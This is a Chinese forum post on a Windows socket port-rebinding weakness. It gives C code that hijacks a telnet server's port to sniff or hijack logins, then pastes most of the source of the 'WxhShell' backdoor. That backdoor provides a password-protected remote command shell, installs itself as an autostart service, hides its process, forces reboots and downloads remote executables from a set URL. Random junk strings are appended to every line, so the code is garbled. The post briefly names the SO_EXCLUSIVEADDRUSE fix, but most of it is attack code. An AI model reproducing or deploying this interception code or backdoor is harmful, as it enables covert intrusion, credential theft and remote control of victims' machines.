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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A(<- U|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b}[{'  
\7W {/v4^  
  saddr.sin_family = AF_INET; mB_ba1r  
W;j*lII  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qE(`@G  
@ /c{gD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <y!6HJ"  
h j9 b Mj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x~KS;hA  
<;W4Th<4  
  这意味着什么?意味着可以进行如下的攻击: (A"oMnjWd  
vW~_+:),e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mb?yG:L=0b  
HaLEQ73  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A7ck-9dT/L  
6 0QElJ9D  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %#|S  
idz6m]{~yT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +)ro EJ_  
Xa%Z0% {  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #Etz}:%W  
c[ =9Z;|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r`6XF  
8CMI\yk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QULrE+@  
4yjAi@ /2  
  #include W5sVQ`S-  
  #include P]INYH  
  #include |RHX2sso  
  #include    cj5p I?@e)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :qw:)i  
  int main() #16)7  
  { vE{QN<6T  
  WORD wVersionRequested; %lEPFp  
  DWORD ret; 4oCn F+(  
  WSADATA wsaData; x4fLe5xv  
  BOOL val; NcqE)"yObo  
  SOCKADDR_IN saddr; c a$D|3  
  SOCKADDR_IN scaddr; {:fyz#>>^  
  int err; -cJ(iz9!  
  SOCKET s; Fa@#nY|UV3  
  SOCKET sc; &a1agi7M  
  int caddsize; A@&+!sO  
  HANDLE mt; 8+ `cv"  
  DWORD tid;   Pq;1EI  
  wVersionRequested = MAKEWORD( 2, 2 ); vzs6YsA  
  err = WSAStartup( wVersionRequested, &wsaData ); )WuuU [(  
  if ( err != 0 ) { <g,xc)[  
  printf("error!WSAStartup failed!\n"); g5/8u2d  
  return -1; R],,-  
  } |0mh*+i  
  saddr.sin_family = AF_INET; 33-=Z9|r  
   iZ)7%R?5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 m_U__CZ}Tt  
-%"MAIJnX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )HR'FlxOd  
  saddr.sin_port = htons(23); t+p-,ey^@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0d.lF:  
  { l{Xsh;%=  
  printf("error!socket failed!\n"); c]&(h L  
  return -1; &V iIxJZ1$  
  } b- %7@j  
  val = TRUE; 3-tp94`8}t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9OP d'f  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -N*g|1rpa  
  { >q4nQ/eP  
  printf("error!setsockopt failed!\n"); oa47TqFt  
  return -1; ^#XxqVdPk  
  } ;I]TM#qGF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Hm1C|Qb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @v@'8E Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 '}LH,H:%G  
(w4#?_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m[]p IXc(  
  { E70  
  ret=GetLastError(); NAHQ:$  
  printf("error!bind failed!\n"); Xs*~ [k'  
  return -1; 6 3Kec  
  } ^:LF  
  listen(s,2); r'w5i1C+  
  while(1) Zo'lvOpyZ  
  { *Cj]j-  
  caddsize = sizeof(scaddr); ?9 2+(s  
  //接受连接请求 Y~gpiL3u  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K\=bpc"Fy  
  if(sc!=INVALID_SOCKET) bbS'ZkB\  
  { eBtkTWx5[/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); eGtIVY/D  
  if(mt==NULL) {ZN{$Ad3/  
  { 6'|J ;  
  printf("Thread Creat Failed!\n"); [,xFk* #  
  break; S &cH1QZ  
  } [Zi\L>PHO  
  } ]qhVxeUm  
  CloseHandle(mt); |M0 XLCNd_  
  } g oWD~'\  
  closesocket(s); g`3g#h$  
  WSACleanup(); TDy@Y> )  
  return 0; dax|4R  
  }   eAm7*2  
  DWORD WINAPI ClientThread(LPVOID lpParam) &Lk@Xq1  
  { eHd{'J<  
  SOCKET ss = (SOCKET)lpParam; [uZU p*.V  
  SOCKET sc; />.&  
  unsigned char buf[4096]; 3l<)|!f]g  
  SOCKADDR_IN saddr; st/Tb/  
  long num; f}nGWV%,  
  DWORD val; W>;AMun  
  DWORD ret; nolTvqMT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3J%jD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   T|ZT&x$z  
  saddr.sin_family = AF_INET; ||9f@9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?W%3>A  
  saddr.sin_port = htons(23); (#\3XBG  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5j,)}AYO  
  { ]:m*7p\uk  
  printf("error!socket failed!\n"); efZdtrKgy  
  return -1; z&cfFx#h)  
  } r3p fG  
  val = 100; >Py;6K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B=|yjA'Fg  
  { tAbIT;>  
  ret = GetLastError(); -D38>#Y  
  return -1; g)u2  
  } Tb:n6a@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @b-?KH  
  {  nPvR  
  ret = GetLastError(); 1[u{3lQ  
  return -1; $5%tGFh  
  } %D e<H*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \'BKI;  
  { x/bO;9E%U4  
  printf("error!socket connect failed!\n"); AUzJ:([V  
  closesocket(sc); ww+XE2,  
  closesocket(ss); bZERh:%o  
  return -1; PN+,M50;1  
  } &{ntx~Eq  
  while(1) };29'_.."x  
  { Kze\|yJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z4H!b+   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 D-~HJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 TS-m^Y'R  
  num = recv(ss,buf,4096,0); *N< 22w  
  if(num>0) 6;[iX`LL  
  send(sc,buf,num,0); q+|Dm<Ug  
  else if(num==0) [<8<+lH=P  
  break; )wSsxX7:  
  num = recv(sc,buf,4096,0); >SSF:hI"J  
  if(num>0) D#^v=U  
  send(ss,buf,num,0); $].< /  
  else if(num==0) Gd:fWz(  
  break; f^m8 4o'  
  } VUagZ 7p  
  closesocket(ss); Z+I[  
  closesocket(sc); 'X@j  
  return 0 ; PM o>J|^  
  } VEE:Z^U!  
PyzW pf  
AP/tBC eM  
========================================================== wjKW 3  
)5'S=av9  
下边附上一个代码,,WXhSHELL l$)pCo  
&eK8v]|"W  
========================================================== jO!!. w  
?6tuo:gP  
#include "stdafx.h" T"dWrtO  
)]X_')K  
#include <stdio.h> fvN2]@:  
#include <string.h> "1h|1'S50?  
#include <windows.h> |]\qI  
#include <winsock2.h> 0#XZ_(@%  
#include <winsvc.h> n8R{LjJ2@  
#include <urlmon.h> ?}B_'NZ%  
:+!hR4Z~\;  
#pragma comment (lib, "Ws2_32.lib") CO 5?UgA  
#pragma comment (lib, "urlmon.lib") \T<?=A  
jc)D*Cf  
#define MAX_USER   100 // 最大客户端连接数 t4F1[P  
#define BUF_SOCK   200 // sock buffer B>|@XfPM  
#define KEY_BUFF   255 // 输入 buffer ]#+fQR$!  
0dXZd2oK@  
#define REBOOT     0   // 重启 xqM R[W\x  
#define SHUTDOWN   1   // 关机 'rq [P",  
oy/#,R_n%  
#define DEF_PORT   5000 // 监听端口 ze!7qeW  
e9N"{kDs6  
#define REG_LEN     16   // 注册表键长度 &YqgMC  
#define SVC_LEN     80   // NT服务名长度 %3'80u6BCJ  
e"[o2=v;5  
// 从dll定义API V mKMj'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Hco [p+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M(I 2M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g2w0#-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b@z/6y!  
hPD2/M  
// wxhshell配置信息 dhsQfWg#}  
struct WSCFG { }3=]1jH6  
  int ws_port;         // 监听端口 ),dXaP[  
  char ws_passstr[REG_LEN]; // 口令 R279=sO,J  
  int ws_autoins;       // 安装标记, 1=yes 0=no d,+d8X  
  char ws_regname[REG_LEN]; // 注册表键名 >g8Tl`P,iN  
  char ws_svcname[REG_LEN]; // 服务名 *%\z#Bje@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |BF4 F5wC?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D{ @x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F.^1|+96  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GC#3{71  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z?CmD ;W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q\[f$==p  
>%'|@75K  
}; yC6XO&:g  
l#V"14y  
// default Wxhshell configuration lUUeM\  
struct WSCFG wscfg={DEF_PORT, #R'm|En'  
    "xuhuanlingzhe", N1+%[Uh9)  
    1, Th'6z#h:U  
    "Wxhshell", :hCp@{  
    "Wxhshell", OAR#* ~q  
            "WxhShell Service", 7p@qzE  
    "Wrsky Windows CmdShell Service", /wH]OD{  
    "Please Input Your Password: ", iK= {pd  
  1, 3dQV5E.  
  "http://www.wrsky.com/wxhshell.exe", s?7g3H5#0k  
  "Wxhshell.exe" f9X*bEl9;`  
    }; yA \C3r'  
a 0Hzf  
// 消息定义模块 pRc@0^G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _{C:aIl[2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *:aJlvk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NuLQkf)  
char *msg_ws_ext="\n\rExit."; 28>gAz.#  
char *msg_ws_end="\n\rQuit."; FF)F%o+:w  
char *msg_ws_boot="\n\rReboot..."; aj|I[65  
char *msg_ws_poff="\n\rShutdown..."; W6 f*>  
char *msg_ws_down="\n\rSave to "; ?b:l.0m  
egK,e?~  
char *msg_ws_err="\n\rErr!"; aOA;"jR1  
char *msg_ws_ok="\n\rOK!"; d^!)',`  
=Y?M#3P.I  
char ExeFile[MAX_PATH]; [8(e`6xePb  
int nUser = 0; ~4`LOROC  
HANDLE handles[MAX_USER];  -*M/,O  
int OsIsNt; A +e ={-*  
K p ~x  
SERVICE_STATUS       serviceStatus; p4*VE5[?_+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o} YFDYi  
|!aMj8i2  
// 函数声明 Jp=ur)Dj  
int Install(void); E,>/6AU  
int Uninstall(void); O*`] ]w]  
int DownloadFile(char *sURL, SOCKET wsh); XjuAVNY  
int Boot(int flag); [wj&.I{^s  
void HideProc(void); 5BN!uUkm+  
int GetOsVer(void); ggzg, ~V  
int Wxhshell(SOCKET wsl); hwSn?bkw  
void TalkWithClient(void *cs); )apqL{u:=  
int CmdShell(SOCKET sock); -;Y*;xe  
int StartFromService(void); FrIguk1  
int StartWxhshell(LPSTR lpCmdLine); J/:9;{R  
Pa 'g=-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Rs$k3   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *&Np;^~  
U^-:qT;CX  
// 数据结构和表定义 BlF>TI%2  
SERVICE_TABLE_ENTRY DispatchTable[] = N2 wBH+3w  
{ "M3R}<Vt  
{wscfg.ws_svcname, NTServiceMain}, uosFpa  
{NULL, NULL} \25Rq/&w  
}; T<=Ci?C v  
)+'FTz` c  
// 自我安装 @{ _[bKg  
int Install(void) -R?~Yysd7K  
{ +[<|TT  
  char svExeFile[MAX_PATH]; 7q&Ru|T33  
  HKEY key; .z^ePZ|mV  
  strcpy(svExeFile,ExeFile); zYvf}L&]h  
8$xd;+`y'  
// 如果是win9x系统,修改注册表设为自启动 mJ2>#j;5f  
if(!OsIsNt) { Y;O\ >o[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N,0l5fD~T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kAsYh4[  
  RegCloseKey(key); f"\G"2C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (j@3=-%6G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0 XxU1w8\V  
  RegCloseKey(key); s"7wG!yf  
  return 0; w] i&N1i  
    } 56Z 1jN^U  
  } B[%FZm$`M  
} h:\WW;s[B  
else { dO =fbmK  
u[5*RTE  
// 如果是NT以上系统,安装为系统服务 TcPYDAa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gXBC= ?jl  
if (schSCManager!=0) `md)|PSU  
{ JKN0:/t7 Q  
  SC_HANDLE schService = CreateService }pxMO? h$  
  ( 9%55R >s$  
  schSCManager, TUuw  
  wscfg.ws_svcname, gVO<W.?  
  wscfg.ws_svcdisp, #usi1UWB#Q  
  SERVICE_ALL_ACCESS, `a2%U/U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1Tz5tU9kR  
  SERVICE_AUTO_START, sOQF_X(.x  
  SERVICE_ERROR_NORMAL, SEu1M}+E  
  svExeFile, \X1?,gV_  
  NULL, -T3 z@k  
  NULL, o?%1^6&HE  
  NULL, 0~ !).f  
  NULL, :$4 atm  
  NULL M*li;  
  ); =8:m:Y&|`G  
  if (schService!=0) gx,BF#8}  
  { ^oaFnzJdf  
  CloseServiceHandle(schService); B7HNNX  
  CloseServiceHandle(schSCManager); W?is8r:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /o%J / |  
  strcat(svExeFile,wscfg.ws_svcname); rV;X1x}l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r1dP9MT\8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pD;'uEFBQ  
  RegCloseKey(key); AT*J '37  
  return 0; 7 L2$(d4  
    } |&!04~s;E  
  } 0*G =~:  
  CloseServiceHandle(schSCManager); 6?GR+;/  
} UolsF-U}'  
} u By[x 0  
\[u7y. b  
return 1; =M39I&N  
} l`"i'P   
otaB$Bb  
// 自我卸载 a ^wGc+  
int Uninstall(void) www#.D%'U  
{ ^U1@ hq*u  
  HKEY key; u~[=5r  
3 ,;;C(  
if(!OsIsNt) { CRXIVver  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BOqu$f+  
  RegDeleteValue(key,wscfg.ws_regname); b7;`A~{9v  
  RegCloseKey(key); hdW}._  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,n )f=q*%  
  RegDeleteValue(key,wscfg.ws_regname); 6jS:_[p  
  RegCloseKey(key); #Xdj:T<*  
  return 0; N_<wiwI<  
  } L>:YGM"sL  
} pHO,][VZ  
} pYXusS7S  
else { ^&^~LKl~  
_4~'K?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;.dyuKlI  
if (schSCManager!=0) KYe@2 6   
{ r5#8V zr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z]VmTB  
  if (schService!=0) m3Ma2jLWC  
  { !mX-g]4E  
  if(DeleteService(schService)!=0) { 2GRL`.1  
  CloseServiceHandle(schService); u Uy~$>V  
  CloseServiceHandle(schSCManager); ,dyCuH!B  
  return 0;   %4  
  } {|:ro!&  
  CloseServiceHandle(schService); @ ={Hx$zL  
  } j_w"HiNBA  
  CloseServiceHandle(schSCManager); i6Zsn#Z7)  
} cviPCjM  
} kF,_o/Jc  
Cf&.hod  
return 1; qGezmkNFm  
} R#8.]  
e#{,M8  
// 从指定url下载文件 3y9R1/!  
int DownloadFile(char *sURL, SOCKET wsh) I;u1mywd  
{ <.d^jgG(j  
  HRESULT hr; IZw>!KYG  
char seps[]= "/"; ^}VAH#c  
char *token; A.[~}ywH  
char *file; 3k U4?D]  
char myURL[MAX_PATH]; coG_bX?e  
char myFILE[MAX_PATH]; ;&K +x@  
LN!e_b  
strcpy(myURL,sURL); V:Z}cfR.7  
  token=strtok(myURL,seps); * |dz.Tr  
  while(token!=NULL) 3$TU2-x;g  
  { SO!|wag$  
    file=token; =eHoJq  
  token=strtok(NULL,seps); N?Nu'  
  } 39!$x[  
v4$"{W;'  
GetCurrentDirectory(MAX_PATH,myFILE); IH2V .>h  
strcat(myFILE, "\\"); \jHHj\LLr.  
strcat(myFILE, file); 'Edm /+  
  send(wsh,myFILE,strlen(myFILE),0); *i`t4N A  
send(wsh,"...",3,0); PKxI09B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GJeP~   
  if(hr==S_OK) X"sc'#G T  
return 0; 6\BZyry3*  
else ;"R1>tw3)  
return 1; WL#E%6p[  
1 x'H #  
} hKjG/g:#G  
J^y}3ON  
// 系统电源模块 `|2p1Ei  
int Boot(int flag) [ 11D7L%1t  
{ <Na .6P  
  HANDLE hToken; ?LAiSg=eq  
  TOKEN_PRIVILEGES tkp; fvNj5Vq:  
l'Kx#y$  
  if(OsIsNt) { H'_v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4))5l9kc.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {yCE>F\  
    tkp.PrivilegeCount = 1; {k15!(:i~a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $E@U-=m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .Z9{\tj  
if(flag==REBOOT) { `D,mZj/b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pl.x_E,HP  
  return 0; AcQmY?  
} Ja[7/  
else { E 5N9.t h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zEMZz$Y  
  return 0; LUfo@R  
} k"pN  
  } Gl]z@ZXWIw  
  else { Bgf'Hm% r  
if(flag==REBOOT) { g><i tA?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xhw0YDGzf  
  return 0; 3cSP1=$*  
} *Me&> "N"  
else { HU47 S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Nq >"vEq)  
  return 0; zk^uS#  
} +zINnX  
} `7$Sga6M  
M'sq{K9  
return 1; ZQI;b0C  
} +]$c+!khj  
<HXzcWQ$  
// win9x进程隐藏模块 4%"Df1 U  
void HideProc(void) + :;6kyM6X  
{ kVY 0 E  
*Kmo1>^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -Crm#Ib~  
  if ( hKernel != NULL ) `s|^  
  { ~(P\'H&(h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \]Y=*+{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Qk?J4 B  
    FreeLibrary(hKernel); n>L24rL  
  } 3ahbv%y  
i0g/'ZP  
return; I2^@>/p8\(  
} 'X P  
S '(K  
// 获取操作系统版本 8o\KF(I  
int GetOsVer(void) B.F~/PET  
{ YGsg0I't  
  OSVERSIONINFO winfo; ^EZ?wdL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mXJ`t5v^l  
  GetVersionEx(&winfo); _`d=0l*8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %Y-KjSs+l  
  return 1; =`/GB T$  
  else ^CfWLL& c  
  return 0; #'fQx`LV  
} a?]~Sw"@  
[+(fN  
// 客户端句柄模块 c1}i|7/XSi  
int Wxhshell(SOCKET wsl) ewOe A|  
{ \o<&s{ 6L  
  SOCKET wsh; ?O.'_YS  
  struct sockaddr_in client; 8umW>  
  DWORD myID; (RafidiH  
30<3DA_P  
  while(nUser<MAX_USER) Q4B(NYEu(  
{ H|I.h{:  
  int nSize=sizeof(client); n<3{QqF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DP08$Iq  
  if(wsh==INVALID_SOCKET) return 1;  hpOK9  
7f]O /  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vhz Q.>  
if(handles[nUser]==0) 0RGqpJxk  
  closesocket(wsh); CQh6;[\:  
else |TRl >1rv  
  nUser++; ur JR[$p  
  } VX,@Gp_'m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Sp./*h\}  
jVInTR0f[  
  return 0; ofy)}/i  
} wY{!gQ  
6>F1!Q  
// 关闭 socket miEf<<L#z  
void CloseIt(SOCKET wsh) (&oT6Ji  
{ Hq0O!Zv  
closesocket(wsh); ey ?paT  
nUser--; 9HG"}CGZP  
ExitThread(0); nV>=n,+s"  
} 0ra+MQBg  
I7?s+vyds  
// 客户端请求句柄 s&D>'J  
void TalkWithClient(void *cs) |l673FcJ  
{ Po7oo9d  
)Kg _E6  
  SOCKET wsh=(SOCKET)cs; m?O"LGBB =  
  char pwd[SVC_LEN]; x%OJ3Qjj=  
  char cmd[KEY_BUFF]; )vy_m_f&  
char chr[1]; ?a{>QyL  
int i,j; =g<Yi2  
%+ur41HM  
  while (nUser < MAX_USER) { f@H>by N  
^)S<Ha  
if(wscfg.ws_passstr) { @i=_y+|d_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sV-UY!   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l ^;=0UR_  
  //ZeroMemory(pwd,KEY_BUFF); *$9Rb2}kK  
      i=0; KDu~,P]  
  while(i<SVC_LEN) { *# ;  
F:'>zB]-}  
  // 设置超时 R:Tv'I1-L  
  fd_set FdRead; R0bWI`$Z  
  struct timeval TimeOut; 7da~+(yhr  
  FD_ZERO(&FdRead); -MuKeCgi  
  FD_SET(wsh,&FdRead); ~5 e 1&  
  TimeOut.tv_sec=8; [WBU _  
  TimeOut.tv_usec=0; 2PQY+[jx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x4[ Fn3JL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (k24j*1e$  
mL]5Tnc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 41^ $  
  pwd=chr[0]; G ;  
  if(chr[0]==0xd || chr[0]==0xa) { o{xA{ @<  
  pwd=0; FcmL 4^s.`  
  break; X,ok3c4X  
  }  "xp>Vj  
  i++; *%jd>e7d  
    } AN4(]_ ]  
EQ2HQz ]  
  // 如果是非法用户,关闭 socket v0,&wdi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e|Mw9DIW  
} $X]Z-RCK3  
R*>EbOuI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7U`8W\-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PLs(+>H  
Ujfs!ikh&F  
while(1) { vlx\hJ<I  
"j%L*J)  
  ZeroMemory(cmd,KEY_BUFF); A}z1~Z+  
_[8sL^  
      // 自动支持客户端 telnet标准   c*Q6k<SKR  
  j=0; B+2Jea,N  
  while(j<KEY_BUFF) { Ufv0Xj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %tZ[wwt  
  cmd[j]=chr[0]; 0;:AT|U/d  
  if(chr[0]==0xa || chr[0]==0xd) { -r@/8"  
  cmd[j]=0; 66MWOrr  
  break; :?z E@Ct  
  } .q_SA-!w>  
  j++; ~Pi CA  
    } B6"pw0  
9<6Hs3|.!  
  // 下载文件 vC_O! 2E  
  if(strstr(cmd,"http://")) { Y"'k $jS-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nQM7@"R  
  if(DownloadFile(cmd,wsh)) ,7*-%05[\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nj|~3 *KO  
  else 7kH GU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OvtiFN^s'  
  } eVB.g@%T  
  else { MRL,#+VxA  
u}BN)%`B  
    switch(cmd[0]) { 31n|ScXv  
  jG~UyzWH;  
  // 帮助 wVY;)1?  
  case '?': { "U%jG`q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7T@"2WYat  
    break; ~AG."<}  
  } kU$M 8J.  
  // 安装 TM?7F2  
  case 'i': { NZ?|#5 3  
    if(Install()) .47tj`L   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 Q FX  
    else %QKRl 5RM-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }doJ= lc  
    break; =OU]<%  
    } XqK\'8]\Mw  
  // 卸载 t4CI+fqy  
  case 'r': { PbN"+qM  
    if(Uninstall()) 3+| {O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]z_C7Y"4BR  
    else mB]Y;R<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \J?5K l[*c  
    break; 4E.K6=k|=a  
    } Il,^/qvIY  
  // 显示 wxhshell 所在路径 5 ,1q%  
  case 'p': { @dp1bkU  
    char svExeFile[MAX_PATH]; qvhol  
    strcpy(svExeFile,"\n\r"); UON W3}-  
      strcat(svExeFile,ExeFile); 7]6HXR@  
        send(wsh,svExeFile,strlen(svExeFile),0); A1nEp0%Y  
    break; M/^kita  
    } 2gbMUdpp  
  // 重启 3O!TVSo  
  case 'b': { g&6O*vx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4Iou| H  
    if(Boot(REBOOT)) "J CvsCe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Al(u|LbQ  
    else { &.t|&8-  
    closesocket(wsh); ;Z(~;D  
    ExitThread(0); hSyA;*)U  
    } U?:<clh  
    break; IRW%*W#  
    } J((.zLvz  
  // 关机 8{Id+Q>Vo,  
  case 'd': { 'L0{Ed+9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UCP4w@C  
